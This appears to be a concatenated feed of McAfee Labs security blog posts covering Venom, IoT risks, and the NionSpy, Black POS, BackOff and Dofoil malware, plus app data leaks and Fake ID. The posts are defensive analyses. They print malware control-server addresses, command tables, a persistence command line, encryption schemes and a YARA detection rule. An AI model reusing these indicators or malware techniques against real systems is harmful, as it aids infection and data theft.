In recent days, much has been said and written around the recently disclosed “Venom” vulnerability. It is important to fully understand the real-world severity of vulnerabilities such as Venom. Although the threat is potentially severe and certainly interesting (it is in a class of relatively rare guest escapes from virtual machines), one has to take into account the existing attack surface, mitigation, and other factors. In other words, “exposure” must be taken into account when discussing this (or any) vulnerability or attack.

 

Vulnerability

The Venom vulnerability refers to a flaw in the QEMU FDC (floppy disk controller), which is enabled in the default configuration of Xen and KVM virtualization platforms. QEMU is an open-source package with widespread adoption, the scope of which is not fully quantifiable. This vulnerability can be triggered even in configurations in which a floppy device is not present or configured. The flaw potentially allows an attacker to “escape” a guest virtual machine host and gain access to and control of the physical host. This is a privilege escalation vulnerability. In a virtualized environment where the guest can escape to the host, this threat takes on a greater impact. In a successful exploitation, the attack could potentially execute arbitrary code on the underlying host, read and monitor memory contents (exposing sensitive data from guest VMs), or invoke a denial of service on the host (again, affecting all guests).

 

Exploitation

An attacker must have local/authenticated root access to a guest VM. Now, this could take on many forms. This can be achieved directly if the attacker, for example, establishes his own “cloud-based” VM instance and directly runs exploit code in that instance. It can also, potentially, be done indirectly if the attacker entices a user on a cloud-based VM instance to execute malicious code via a drive-by download or similar method. Limited proof-of-concept exploit code has been released, but it is limited in function and execution and does not trigger and exploit this scenario in all expected conditions. We have yet to see (as of this writing) any additional exploit attempts, or in-the-wild malware-based exploitation.

 

Exposure

This is where we have to think about existing surface, mitigation, and other factors that come into play. Amazon (AWS) and several other services have released statements saying that they are not vulnerable. Other providers (such as Digital Ocean and RackSpace) have released statements regarding their patching process (most of which appear to be complete) and any remaining actions that need to be taken by users. So because this flaw was handled responsibly and affected vendors were given time to react, a great deal of mitigation has already taken place–greatly minimizing the exposed attack surface.

 

Mitigation

Patches are available from Xen, QEMU, and others that use the affected technology.

McAfee Labs will continue to analyze this threat and provide updates to this blog as new details emerge.

The post Understanding the Scope of Venom (CVE-2015-3456) appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/understanding-scope-venom-cve-2015-3456/feed/ 0
Verizon Report Foreshadows Breaches Originating With IoT Devices https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/verizon-report-foreshadows-breaches-originating-with-iot-devices/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/verizon-report-foreshadows-breaches-originating-with-iot-devices/#respond Wed, 15 Apr 2015 00:13:08 +0000 https://blogs.mcafee.com/?p=42707 This blog post was written by Rick Simon. Today, Verizon released its 2015 Data Breach Investigations Report (DBIR). As Verizon noted in the Appendix D discussion of the security of the Internet of Things, most of the examples of IoT device-originated breaches have been proofs of concept—so there were few incidents and little data disclosure […]

The post Verizon Report Foreshadows Breaches Originating With IoT Devices appeared first on McAfee Blogs.

]]>
This blog post was written by Rick Simon.

Today, Verizon released its 2015 Data Breach Investigations Report (DBIR).

As Verizon noted in the Appendix D discussion of the security of the Internet of Things, most of the examples of IoT device-originated breaches have been proofs of concept—so there were few incidents and little data disclosure to report for 2014. As a result, there is no Verizon “common incident pattern” for IoT device breaches—yet.

But for those who work in incident response and information security, we know it is simply a matter of time until a large-scale IoT device-originated breach occurs with broad-based ramifications.

 

The IoT device security challenge

IoT devices pose a particular challenge that is not typical in new technology markets. IoT devices are by definition connected to one type of network or another, so they are windows into that network, which leads to the obvious question: Are the windows open or closed?

Further, many IoT devices sense and send information—from personal to critical infrastructure to military—that in the wrong hands poses a significant security risk.

Today and in the days ahead, we will explore why IoT devices are exposed, IoT device attack surfaces, what types of IoT device-originated breaches we expect to see in the intermediate term, and things businesses can do to prepare for the onslaught of IoT devices in their trusted networks.

 

What are the forces that expose IoT devices?

Emerging market that is not well-understood

Today, a person with a good idea can purchase a $20 microcontroller, download sample code into a beginner-friendly development environment, and create a working prototype of an IoT device that can be put on sale on popular crowd-funding sites. The code may never be inspected and the hardware may never be security tested, but these devices could end up on networks in early adopter homes and business.

The low cost and accessibility of these IoT device building blocks by individuals without formal software development experience have led to a proliferation of neat but unsecure devices. Further, there is little understanding of the implications of that insecurity.

IoT device cost pressure

When developing IoT devices that are meant to be purchased by the millions, cost is particularly important. Every additional bit of main memory or flash storage adds cost. Additional processing power adds cost. Software to protect the device adds cost. As a result, IoT device developers look to create devices that deliver the minimum required functionality at the lowest possible cost.

Many IoT devices have simple tasks: reading a sensor value, flipping a relay on or off to activate another circuit, or exchanging information with a gateway or application controlling the device. Because these tasks are often simple and cost is so critical, these devices are generally developed to run lightweight operating systems and applications on inexpensive 8-bit microcontrollers that are limited in capacity and processing power.

But how does a developer include SSL encryption on an 8-bit microcontroller that is simply turning lights on and off? Does it even need encryption? How can a million such devices be cost-effectively updated for security reasons when there is so little capacity on the embedded ROM that physical access to the device is required to perform the update?

Although questions like these may not concern an IoT developer trying to get a product out the door, these questions become critical if the device is used to control all of the LED streetlights in a city or used in a water treatment plant to turn pumps on and off after reading sensor values from a different IoT endpoint.

IoT device time-to-market pressure

When a budding entrepreneur or a large enterprise detects an IoT market opportunity, a basic question they must answer is “How fast can we get to market?”

In the IoT space, a rich environment of sample code, tutorials, and libraries can accelerate time to market. Although there is good guidance for securing TCP/IP networks, there is little security guidance for the proliferation of network protocols used by many new IoT devices. For example, mesh networks like ZigBee, ZWave, RF, iBeacon, and Bluetooth LE are being bridged (connected, multihomed) to current TCP/IP networks by these IoT devices directly or through a gateway, thereby opening a window to attackers.

Furthermore, the IoT developers primary focus, especially in the early market phase, is to deliver the IoT device’s basic functionality. Security of that new device is secondary. And when they do get around to addressing security issues in a meaningful way, many developers have limited understanding of secure coding practices, especially for this new industry.

Need for IoT device simplicity

There is an overwhelming need in both consumer and business environments to build IoT devices that are simple to operate and maintain and can live in perpetuity, gathering information and sending it to other systems in the network.

To reduce or eliminate maintenance, many IoT devices are designed to not allow software or firmware updates. Yet they are network-capable devices communicating on the same subnets as other sensitive information. Network-capable devices that cannot be updated but proliferate exponentially on networks eventually become open windows for the bad guys to exploit.

Focus on functionality, not security

When discussing the virtues of an IoT device, salespeople inevitably focus on its key benefits:

  • “What can it control?”
  • “Is it easy to set up?”
  • “Can I access it when I am not at home?”
  • “Does it work on my smartphone?”
  • “How does it make my life simpler?”

Seldom do we hear “Is it secure?”—even when the IoT device is meant to control home security!

With the current focus of IoT devices, especially in the consumer market, on emphasizing ease of use and automation to drive demand, security questions seldom arise. Security is assumed—usually incorrectly—to be provided.

Stay tuned for a discussion of IoT device attack surfaces. Meanwhile, you can learn more here about Intel’s approach to IoT devices and their security.

The post Verizon Report Foreshadows Breaches Originating With IoT Devices appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/verizon-report-foreshadows-breaches-originating-with-iot-devices/feed/ 0
Taking a Close Look at Data-Stealing NionSpy File Infector https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/taking-a-close-look-at-data-stealing-nionspy-file-infector/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/taking-a-close-look-at-data-stealing-nionspy-file-infector/#respond Tue, 14 Apr 2015 12:06:29 +0000 https://blogs.mcafee.com/?p=42653 This blog was written by Sanchit Karve. W32/NionSpy is a family of malware that steals information from infected machines and replicates to new machines over networks and removable thumb drives. Aside from stealing keystrokes, passwords, Bitcoins, system information, and files on disk, NionSpy (also known as Mewsei and MewsSpy) can record video (using the webcam), […]

The post Taking a Close Look at Data-Stealing NionSpy File Infector appeared first on McAfee Blogs.

]]>
This blog was written by Sanchit Karve.

W32/NionSpy is a family of malware that steals information from infected machines and replicates to new machines over networks and removable thumb drives. Aside from stealing keystrokes, passwords, Bitcoins, system information, and files on disk, NionSpy (also known as Mewsei and MewsSpy) can record video (using the webcam), audio (using the microphone), take screenshots, and use infected machines as a proxy tunnel to connect to other machines within the network.

NionSpy is a prepender virus: It prefixes its malicious binary onto current executable files on a machine—as opposed to other data-stealing Trojans, which store all their functions in a single file. Viruses must ensure that they restore the original file prior to its execution to increase the likelihood that the original binary executes correctly.

Nionspy file structure

Most viruses decrypt the original binary just before execution. NionSpy, on the other hand, stores its decryption code in a separate DLL outside the stub to make file recovery difficult.

The malware achieves this by storing an encrypted copy of the DLL within every file it infects. Once an infected file executes, it registers itself to open all executable and shortcut files as a parameter to its /START command-line argument as shown:

%APPDATA%\{random folder name}\{malware executable}.exe [/RUNAS] /START “%1” %*

When the malware executable runs with an executable file as the /START parameter, it decrypts and loads the embedded DLL located within itself, opens the executable passed as the argument, and checks whether it is infected by finding its infection marker, “aCfG92KX27EhW6CqpcSo4Y94BnUrFmnNkP5EnT.” If the marker is not found, the executable runs as is. However, if the marker is found, the original file is decrypted by calling the “NP8IGN” function exported by the decrypted DLL, stored temporarily in the %TEMP% folder with a random name, and then executes.

Nionspy file execution

NionSpy’s file execution.

The location of the encrypted DLL and the hijacked file are obfuscated by an XOR/NEG operation, which when decrypted contains the location of the data, its size, and a seed value.

The seed is fed to Microsoft’s C implementation of rand()—a pseudo random number generator.

The virus also stores 4 to 7 bytes of information about its origin. If the file is created by infecting an executable file on disk, the term repl (for replication) is encrypted. If the file consists of just the dropper for the file infector, the term {random letter}.ode is encrypted and stored.

The sample contains a bit fewer than 700 strings encrypted in the same fashion based on rand(). The seed, length, and location of the string are stored in a special table accessed by the main string decryption routine. The strings are common for both the infector stub and the embedded DLL. However, not all strings in the table are used in the malware source code. Some strings, for example, seem to be intentionally left for researchers to discover.

The decrypted strings provide a wealth of information about the capabilities of the virus and even include an internal version number that is transmitted to the control server with every request.

 

The sample actively looks for installed firewall software and intentionally delays and limits its network communication if it finds a product from its blacklist.

One uncommon aspect to NionSpy is its inclusion of almost 200 MD5 hashes in the encrypted string table. When a command is sent by the virus’ control server, its MD5 hash is calculated and compared against the hashes in the malware table to decide which operation to perform. We suspect this decision was made to increase the effort required to statically analyze the sample. The following screen shows some of the MD5s along with their original strings:

We know of seven versions of the latest W32/NionSpy variant:

Internal Version Number Compile Timestamp MD5 Hash
5.8.6.0 02-JAN-2015 04227bd0f50a0ee9db78ca8af290647a
5.8.7.0 04-JAN-2015 7895e3bf8b614e4f4953295675f267eb
6.0.0.0 13-JAN-2015 1ccc528390573062ff2311fcfd555064
6.1.9.1 08-MAR-2015 d9e757fbc73568c09bcaa8bd0e47ad7d
6.2.1.1 13-MAR-2015 9750018a94d020a3d16c91a9495a7ec0
6.2.3.0 22-MAR-2015 722d97e222a1264751870a7ccc10858b
6.2.5.1 01-APR-2015 d7c20c6dbfca00cb1014adc25ad52274

Older variants of NionSpy are very primitive compared with the latest strain. Most strings are stored unencrypted, while about 40 to 50 strings are obfuscated using a 1-byte XOR key. The malware code appears to be more or less constant across versions with each change including small fixes for bugs and typos as well as the addition of a few enhancements (such as the ability to record audio for a variable amount of time in Version 7.6, instead of a constant 30 seconds in older versions). Some versions are compiled with different compilers to generate different binaries but are functionally identical.

Four versions of the older NionSpy variant are present in the wild.

Internal Version Number Compile Timestamp MD5 Hash
5.7 25-OCT-2013 b25c2d582734feb47c73e64b5e5c3c7e
5.8 26-OCT-2013 24a212895b66b5482d689184298fc7d6
6.2 31-OCT-2013 e9bbb8844768e4e98888c02bd8fe43d5
7.6 13-FEB-2013 6fa6e2ea19b37fc500c0b08c828aacc2

 

Because older NionSpy variants do not use MD5 hashes to check for control server commands, all commands are visible in their binaries:

Control Server Command Description
ls Sends listings of files in a directory
webcam Sends a video recording from the webcam to the control server
screenshot Sends a screenshot to the control server
recorder Records audio with microphone and sends to the control server
msgbox Displays a message to the infected user
backconnect Allows the attacker to use the infected machine as a proxy tunnel to connect to another machine
shutdown Powers off the infected machine
reboot Restarts the infected machine
download, upload Downloads or uploads a file
tray_open, tray_close Opens and closes the CD tray
exec_show, exec_hide Unknown
lock_distribution, unlock_distribution Unknown

 

NionSpy contacts the following control servers:

  • 109.195.54.18:7978
  • 176.31.246.49:14141
  • 178.62.233.140:50000
  • 37.139.15.65:14088
  • 46.32.233.54:53535
  • 62.75.179.223:11111
  • 62.75.179.223:19093
  • 72.167.201.238:11080
  • 78.46.36.35:33533
  • 85.214.252.4:9000
  • ftspbz.net46.net
  • nwoccs.zapto.org
  • z3mm6cupmtw5b2xx.onion

McAfee customers are already protected by the following detections:

  • W32/NionSpy
  • W32/NionSpy!dr
  • W32/NionSpy.b!dr
  • W32/NionSpy.c!dr
  • W32/NionSpy!dam
  • And other generic signatures

YARA Signature
rule NionSpy
{

meta:

description = “Triggers on old and new variants of W32/NionSpy file infector”

strings:

$variant2015_infmarker = “aCfG92KXpcSo4Y94BnUrFmnNk27EhW6CqP5EnT”
$variant2013_infmarker = “ad6af8bd5835d19cc7fdc4c62fdf02a1”
$variant2013_string = “%s?cstorage=shell&comp=%s”

condition:

uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 1 of ($variant*)

}

The post Taking a Close Look at Data-Stealing NionSpy File Infector appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/taking-a-close-look-at-data-stealing-nionspy-file-infector/feed/ 0
POS Malware Uses Time-Stamp Check to Evade Detection https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/pos-malware-uses-time-stamp-check-to-evade-detection/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/pos-malware-uses-time-stamp-check-to-evade-detection/#respond Tue, 24 Mar 2015 23:31:50 +0000 https://blogs.mcafee.com/?p=42164 This blog post was written by Kumaraguru Velmurugan. Point of sale (POS) attacks appear to have gained in popularity during the past year or so. We have seen major retail chains targeted by different strains of POS malware. Equipped with memory-scraping functionality, POS malware steals credit or debit card information from shoppers who use their […]

The post POS Malware Uses Time-Stamp Check to Evade Detection appeared first on McAfee Blogs.

]]>
This blog post was written by Kumaraguru Velmurugan.

Point of sale (POS) attacks appear to have gained in popularity during the past year or so. We have seen major retail chains targeted by different strains of POS malware. Equipped with memory-scraping functionality, POS malware steals credit or debit card information from shoppers who use their cards for payments.

The following illustration shows the similarity of a recent variant we have captured against previous samples we’ve seen. The code has undergone minimal changes since its inception.

blog_img9.jpg.png

Black POS malware is one of the most prevalent POS families in the wild. Recently we noticed new variants of Black POS that exhibit no behavior when executed in a synthetic environment. This inactivity in a sandbox promptly captured our attention. This new variant of Black POS checks the system time on the infected machine against the hardcoded time stamp on the executable. (Malware has long used this technique to be active only during certain periods, while remaining dormant the rest of the time.)

This variant of Black POS was compiled with Borland C++. Next we see one sample’s main function, in which time is checked against a preset value.

timestamp_check.jpg

Looking at the malware’s time stamp, Wed 14 Jan 2015 18:14:29 GMT, we see the malware is designed to exhibit its behavior for one month from the time it was compiled.

The key functions of this sample include memory dumping and enumerating modules loaded in process memory.

blog_img2.jpg

blog_img3.jpg

The sample also scans for credit card information in memory by employing a Perl Compatible Regular Expressions engine, as shown in the following image.

blog_img4.jpgblog_img5.jpg.pngblog_img6.jpg.png.jpg

McAfee Advanced Threat Defense detects the samples involved in this attack. The sample is detected via static code analysis, the Family Classification module.

 

 

The post POS Malware Uses Time-Stamp Check to Evade Detection appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/pos-malware-uses-time-stamp-check-to-evade-detection/feed/ 0
Apps Sending Plain HTTP Put Personal Data at Risk https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/apps-sending-plain-http-put-personal-data-risk/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/apps-sending-plain-http-put-personal-data-risk/#comments Thu, 15 Jan 2015 00:07:25 +0000 http://blogs.mcafee.com/?p=40610 At the AVAR Conference in November 2014, McAfee Labs presented how to exploit a cross-site scripting vulnerability of the Costco and Walgreens apps on Android. We shared with our audience research on other app vulnerabilities because we believe apps (especially mobile apps) will be an increasing attack surface for cybercriminals. Today we’d like to provide […]

The post Apps Sending Plain HTTP Put Personal Data at Risk appeared first on McAfee Blogs.

]]>
At the AVAR Conference in November 2014, McAfee Labs presented how to exploit a cross-site scripting vulnerability of the Costco and Walgreens apps on Android. We shared with our audience research on other app vulnerabilities because we believe apps (especially mobile apps) will be an increasing attack surface for cybercriminals. Today we’d like to provide an update to this issue concerning insufficient transport-layer protection.

This topic covers similar ground to the stats McAfee called out last year in the McAfee Mobile Security Report: “After analyzing the behavior and permissions of thousands of Android apps, our research team found that 82% of apps track mobile activities,” the report said. When this type of data collection is sent to the app developer’s server without proper encryption, users’ personal information and enterprise data are at risk.

Costco app: naked credentials

The Android apps we analyzed in our AVAR paper are also exposed to this vulnerability. When we tested the Costco app with a fake account, the login request was clearly captured in Fiddler because the request was in plain HTTP. What does this mean? Be more cautious if you are shopping online using your phone while connecting to a public wireless network.

sogou1

Motivated to discover similar risks in other apps, we tested a few more programs in depth and became very alarmed. This plain HTTP risk is everywhere. Let’s walk through two such apps, Weibo and Sogou.

Weibo: social media chat easily sniffed or spoofed

Weibo is a Chinese social media platform like Twitter or Facebook. You post your status, chat with your friends, etc. Now suppose you post a message as follows in Weibo:

sogou2

You can see what’s being sent to the Weibo backend by capturing the traffic from Wireshark:

sogou3

And the cookie is there for an attacker to harvest or even alter your post message via a man-in-the-middle attack.

sogou4

You may ask Who cares? This is a post on social media and is meant to be public. But what about your private chats with friends? We sent the following message via the chat window:

sogou5

Again Wireshark shows us exactly the text, without encryption, begging for an attack (such as modifying the chat, injecting malicious links, etc.). There’s no privacy here!

sogou6.1

 

sogou6.2

Sogou sends device data via plain HTTP

Sogou is the most popular Chinese input-method editor, claiming more than 400 million installations. Users benefit from hints to optimized words without having to fully spell them out in Pinyin). (Instead of typing ni hao for “hello”, for example, you type just “nh.”)

sogou7.1sogou7.2

That’s all we want from a language input editor, and that’s why we installed it on a Windows 7 machine. However, when we connected an iPod via USB to this machine, we saw the following captured on Fiddler:

sogou8.1

At first glance the preceding data may not seem like much, but it leads to a question: Why would a language input editor want to know “the user has connected an iOS device (iPod5), it is running on iOS 7.0, the serial number is “650…,” and it is connected via the USB hub “USB#ROOT_HUB20#48…”?

When we connected an Android phone, Fiddler showed a similar data collection:

sogou8.2

Collecting device information in these scenarios is not something we expect or appreciate from language-input software. What is scarier is that the plain-HTTP transport invites attacks in the world full of poisoned mobile hotspots.

We call for app developers to close loopholes like these in their security development life cycles.

The post Apps Sending Plain HTTP Put Personal Data at Risk appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/apps-sending-plain-http-put-personal-data-risk/feed/ 1
BackOff Malware Uses Encryption to Hide Its Intentions https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/backoff-malware-resorts-encryption-hide-intentions/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/backoff-malware-resorts-encryption-hide-intentions/#respond Mon, 08 Sep 2014 21:58:02 +0000 http://blogs.mcafee.com/?p=37777 Often we see malware authors using encryption or obfuscation along with other techniques to modify the static contents of malware. They do this to evade static-based clustering and detection even though the behavior is the same. In many cases obfuscation also helps hide the threat’s malicious intentions from security researchers. BackOff, a point-of-sale malware designed […]

The post BackOff Malware Uses Encryption to Hide Its Intentions appeared first on McAfee Blogs.

]]>
Often we see malware authors using encryption or obfuscation along with other techniques to modify the static contents of malware. They do this to evade static-based clustering and detection even though the behavior is the same. In many cases obfuscation also helps hide the threat’s malicious intentions from security researchers.

BackOff, a point-of-sale malware designed to steal banking login credentials, is one of the latest to use this method. BackOff creates a fake Oracle Java folder and then drops javaw.exe in the appdata folder, in which the malware binary is copied. This name mimics the legitimate Java file from Oracle. Because the malware is copied into appdata, the original version of the malware gets deleted. A log file (log.txt) is created to store all keystrokes. For example, if the victim types “testing 1 2 3 This is a test,” the log file will store it in the following fashion:

p2

The malware not only stores time and date, but also includes case while logging the keystrokes of the victim. This makes sense because banking and other important credentials are generally case sensitive.

In an earlier variant there was no visible attempt to hide these behaviors. As we can see in the following strings related to the formation of the fake javaw.exe, the keylogging activity is visible in plaintext in the malware.

p4p3

Some binaries of this malware were so user friendly that they had proper comments to make sure that even a script kiddie could make proper use of it. For example,  the following binary has the comment “edit with your URL” so that the keylogs can be uploaded to the controller’s site.

p5

However, such open behavior is not the case in the most recent binaries. The new samples, despite behaving the same way, do not have any obvious static content. The following segment of the variant shows no understandable strings.

P6

We found that the malware uses an extensive encryption algorithm to hide the data revealed in the older variant. The following shows a section of the decryption loop.

p11

This code, expressed as a simple statement, reads:

 a[counter] = ( (a[counter+1]-v) and k) or  (( shiftleft (a[counter]-v, 4) xor key[i]) ) 

Where a[counter] is the encrypted array, key[i] is an array consisting of a hardcoded key that will be repeated once it is fully exhausted, and v is another fixed numeral that will change alternately for each cycle of the loop. In this case, for example, with odd iterations it is 0x6c, and for even it is 0x41. And k is a fixed constant.

After decryption we can observe that the control server is visible.

p12

This site is blacklisted by McAfee SiteAdvisor.

pq1

McAfee provides generic coverage for both plain and encrypted variants of BackOff, respectively, as “BackOff!” and “EncBackOff!”

The post BackOff Malware Uses Encryption to Hide Its Intentions appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/backoff-malware-resorts-encryption-hide-intentions/feed/ 0
Beware of Impostor Android Apps Using Fake ID https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/beware-impostor-android-apps/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/beware-impostor-android-apps/#comments Sat, 16 Aug 2014 04:00:32 +0000 http://blogs.mcafee.com/?p=37352 Recently discovered, an Android vulnerability called Fake ID allows apps to impersonate other apps by copying their identity. Each app has its own unique identity, as defined by the developers, after they create their public/private key pair. This identity is a digital certificate used to cryptographically sign the app package (.apk file for Android) to […]

The post Beware of Impostor Android Apps Using Fake ID appeared first on McAfee Blogs.

]]>
Recently discovered, an Android vulnerability called Fake ID allows apps to impersonate other apps by copying their identity. Each app has its own unique identity, as defined by the developers, after they create their public/private key pair. This identity is a digital certificate used to cryptographically sign the app package (.apk file for Android) to be later verified by a tool or operating system for authenticity. Yet developers can copy an identity from another app, combine it with the new app’s identity to make a chain of certificates, attach that chain to the new app, and essentially “pose” as the former app. Given the nature of the vulnerability, it is likely that only malicious developers would conduct such activities. In addition, depending on which certificate details are copied, there could be a risk of the malicious application gaining more privileged access to the system or other running applications due to the trusted nature of some certificates.

At the heart of its security model, the Android operating system, like many other contemporary platforms, includes a component capable of verifying application packages via their signatures to ensure they match the app they are attached to. The Fake ID vulnerability fundamentally breaks this verification process and leaves the system unable to verify the authenticity of the certificate chain. This means that one application can claim to be issued by another application or identity. In theory the component should validate the certificate chain by checking the issuer signature of a child certificate against the public certificate of the issuer.

Depending on the behavior of the application installed–or of the certificate copied–and whether that has any default level of trust on the Android platform, data could be leaked from the device or other malicious activities could take place. Given the lack of warnings in all but the latest version of Android, a user would be none the wiser if an exploit had taken place.

Users of Android Versions 2.1, Eclair, through to 4.3, Jelly Bean, are vulnerable to this exploit, but the threat may depend on the hardware manufacturer or the applications on the system as to whether a malicious application could receive elevated privileges.

Google patched this vulnerability in the latest Android, Version 4.4.4, in April and has released the patch to OEMs. All users should make sure they have this version of Android on their devices or should take the measures noted below to make sure they’re not affected.

Depending on the hardware manufacturer and the version of Android, a user may be vulnerable to one or more privileged-attack vectors. Given that this problem relates to chains of certificates, a hacker could choose to include many certificates to cover all options, and more, in their specifically crafted malware.

  1. Install updates: Update your Google Android device to the latest OS–Android 4.4.4. This may be out of your control due to the nature of customization by Google OEMs and telecommunication carriers.
  2. Use security software: Especially if you cannot update your device to the latest version of Android, you could use a new tool provided by McAfee–Fake ID Detector–which enables you to quickly discover if your apps contain the exploit. The McAfee Mobile Security suite will be able to check for the exploit in a future version, but the current version can protect against known malware samples using the vulnerability.
  3. Avoid untrusted app stores: You should know and trust the sources of the applications you are installing. Google has put measures in place to check for this exploit in any app before it becomes available in the market place. Avoid installing applications from third-party market places and especially those attached to or linked to in emails or text messages.

 

The post Beware of Impostor Android Apps Using Fake ID appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/beware-impostor-android-apps/feed/ 3
Dofoil Downloader Update Adds XOR-, RC4-Based Encryption https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/dofoil-downloader-update-adds-xor-rc4-based-encryption/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/dofoil-downloader-update-adds-xor-rc4-based-encryption/#respond Tue, 15 Jul 2014 06:58:15 +0000 https://blogs.mcafee.com/?p=36669 This blog was written by Sanchit Karve. The Dofoil downloader (found in the wild since 2011) occasionally updates itself with new features and encryption techniques to hide communications with its control servers. The latest iteration uses a variation of XOR and RC4 algorithms similar to previous variants to encrypt the list of control servers within […]

The post Dofoil Downloader Update Adds XOR-, RC4-Based Encryption appeared first on McAfee Blogs.

]]>
This blog was written by Sanchit Karve.

The Dofoil downloader (found in the wild since 2011) occasionally updates itself with new features and encryption techniques to hide communications with its control servers. The latest iteration uses a variation of XOR and RC4 algorithms similar to previous variants to encrypt the list of control servers within the binary and encrypt all traffic with the server.

The Dofoil sample we analyzed (D8AB2694A8AAA0FA729AC0FCC93767A2) contained many antianalysis tricks common to previous versions:

  • Code obfuscation
  • Self-modifying code
  • Sleep for an infinite time if sample is named sample.exe
  • Sleep for an infinite time if volume serial number of C:\ is 0xCD1A40 (anti-ThreatExpert) or 0x70144646 (unknown)
  • CPU-specific checks
  • Virtual machine presence based on an entry in HKLM\System\CurrentControlSet\Services\Disk\Enum
  • Presence of sandboxing, etc.
  • BeingDebugged and NTGlobalFlags checks in the process environment block

As in previous versions, a GET request to msn.com is made to confirm an active Internet connection on an infected machine.

skarve_dofoil1

After the confirmation, the sample proceeds to decrypt the location of its control servers, which are encrypted and stored in a lookup table.

skarve_dofoil2

The encrypted strings for the control server domain names are visible in high-entropy areas:

skarve_dofoil3

To decrypt, the samples use an XOR-based encryption scheme. The encrypted data conforms to the following format:

 

SIZE   NAME
BYTE   xor_key
DWORD   size_of_encrypted_data
size_of_encrypted_data   encrypted_data

One decrypted byte is represented with two encrypted bytes in this scheme. Two bytes are read from the encrypted data and individually XORed with the one-byte key. The difference between the two values yields the decrypted byte. The size_of_encrypted_data field is a bit misleading because it contains an intentionally large value that the sample corrects during its decryption. When decrypted, the control servers are visible:

skarve_dofoil4

The sample we examined contains three control servers: hxxp://zoneserveryu(788|789|790)[dot]com

All communications with a server take place over HTTP POST requests; the commands are encrypted with an RC4-based algorithm. Unlike previous variants, in which the MD5 of the infected computer along with the volume serial number of C:\ was passed as the login parameter, the new variant uses a 160-bit hash composed of five components. For example, for the following command string, the login field translates to five DWORDs:

skarve_dofoil5

CRC32 (username) XOR (address of “&hash=” stored in memory) CRC32 of computer username CRC32 (username) XOR CRC32 (volume serial) CRC32 (volume serial) XOR (address of “&hash=” stored in memory) Volume serial number of C:\

It’s unclear why the malware authors introduced redundancy in the hash. The command is encrypted, prefixed with its size and four-byte encryption key, and sent to the server like so:

skarve_dofoil6

When the command is decrypted with the following algorithm, we can see the original command:

skarve_dofoil7

skarve_dofoil8

The initial request gets a 404/not found response with an encoded body from the control server.

skarve_dofoil10

The body consists of encoded commands from the server along with a plug-in file (executable DLL) encrypted with the same algorithm listed above except that it uses a 13-byte key. It decrypts to:

skarve_dofoil11

The plug-in file usually has an exported function “Work” and could contain functionality for additional commands and features.

skarve_dofoil12

skarve_dofoil13

When the sample wishes to download additional malware, it passes a file number using the file parameter:

skarve_dofoil9

The server responds with a 404 response but passes on new malware in the content of the response. It also passes its own command in the “Vary” header.

skarve_dofoila

The sample is equipped to handle four commands: to write downloaded files to disk and execute them, remove itself, silently register DLLs, and inject content directly into memory.

skarve_dofoilb

The sample returns the result of its command to the server. For example, if the server responds with “0-AAAAAA,” the sample writes the downloaded sample to disk (in %APPDATA% or %TEMP%) and executes it. If it succeeds, it responds with the run=ok command. If the sample fails to execute, it sends run=fail.

skarve_dofoilc

Eventually, the sample downloads password stealers and spam bots, which send spam claiming to be from Amazon.com, and embeds an attachment containing the original sample to spread itself:

skarve_dofoild

skarve_dofoile

skarve_dofoilf

McAfee customers are protected from this threat by Downloader-FAFW and other signatures.

The post Dofoil Downloader Update Adds XOR-, RC4-Based Encryption appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/dofoil-downloader-update-adds-xor-rc4-based-encryption/feed/ 0
It’s ‘Game Over’ for Zeus and CryptoLocker https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/game-zeus-cryptolocker/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/game-zeus-cryptolocker/#comments Mon, 02 Jun 2014 17:22:01 +0000 http://blogs.mcafee.com/?p=35760 Under Operation Tovar, global law enforcement—in conjunction with the private sector and McAfee—has launched an action to dismantle the Gameover Zeus and CryptoLocker infrastructure. Disrupting the criminal infrastructure by taking control of the domains that form part of the communications network provides a rare window for owners of infected systems to remove the malware and […]

The post It’s ‘Game Over’ for Zeus and CryptoLocker appeared first on McAfee Blogs.

]]>
Under Operation Tovar, global law enforcement—in conjunction with the private sector and McAfee—has launched an action to dismantle the Gameover Zeus and CryptoLocker infrastructure. Disrupting the criminal infrastructure by taking control of the domains that form part of the communications network provides a rare window for owners of infected systems to remove the malware and take back control of their digital lives.

If you, or anybody you know, receive a notification from your Internet service provider, then please do not ignore it. Use the removal tool to delete the malware from your system, and ensure you have appropriate protection to prevent future infections.

The removal tool is available at the following URL:

http://www.mcafee.com/stinger

We anticipate the criminal infrastructure of both Gameover Zeus and CryptoLocker will re-establish operations as quickly as they can. Thus you need to take action quickly.

What do Gameover Zeus and CryptoLocker do?

